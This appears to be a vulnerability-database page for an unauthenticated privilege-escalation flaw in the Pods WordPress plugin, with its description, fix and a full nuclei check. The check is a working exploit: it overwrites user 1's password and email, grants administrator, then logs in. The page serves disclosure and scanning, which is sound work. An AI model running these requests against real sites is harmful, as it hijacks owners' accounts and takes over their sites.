HexBrain

Browse / CVEs / CVE-2026-19598

CVE-2026-19598· podsfoundation / pods· CWE-863

Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router

criticalseverity
9.8CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON meta-box-loader compatibility path only writes failures to the PHP error log and returns false instead of terminating the request, rendering all guards ineffective. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator or overwrite the password of any user account, including the site owner's, enabling complete site takeover, or perform another administrator action.

Impact

Unauthenticated attackers can escalate to administrator or overwrite any user password, enabling full site takeover.

Fix

Update to the latest version beyond 3.3.9.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?meta-box-loader=1
Positive when: status_code == 200 and content_length <= 3 and contains(body, '1')
Send: POST /wp-login.php
Positive when: contains(to_lower(header), 'wordpress_logged_in')

Run it with nuclei: nuclei -id CVE-2026-19598 -u <target>

The full check
id: CVE-2026-19598

info:
  name: Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router
  author: DhiyaneshDk
  severity: critical
  description: |
    The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON meta-box-loader compatibility path only writes failures to the PHP error log and returns false instead of terminating the request, rendering all guards ineffective. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator or overwrite the password of any user account, including the site owner's, enabling complete site takeover, or perform another administrator action.
  impact: |
    Unauthenticated attackers can escalate to administrator or overwrite any user password, enabling full site takeover.
  remediation: |
    Update to the latest version beyond 3.3.9.
  reference:
    - https://www.wordfence.com/blog/2026/08/100000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-pods-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19598
    - https://pods.io/2026/08/14/pods-3-3-9-1-security-release-and-backported-releases/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19598
    cwe-id: CWE-863
    epss-score: 0.03521
    epss-percentile: 0.89328
  metadata:
    max-request: 2
    verified: true
    product: pods
    vendor: podsfoundation
  tags: cve,cve2026,wordpress,wp-plugin,pods,privesc,unauth,intrusive,vkev

variables:
  passwd: "{{to_lower(rand_text_alpha(12))}}"
  email: "{{to_lower(rand_text_alpha(8))}}@pods.nuclei"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?meta-box-loader=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded

        action=pods_admin&method=save_user&ID=1&user_pass={{passwd}}&user_email={{email}}&role=administrator

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "content_length <= 3"
          - "contains(body, '1')"
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{email}}&pwd={{passwd}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'wordpress_logged_in')"

References

Use this check only on systems you are authorised to test. Where the data comes from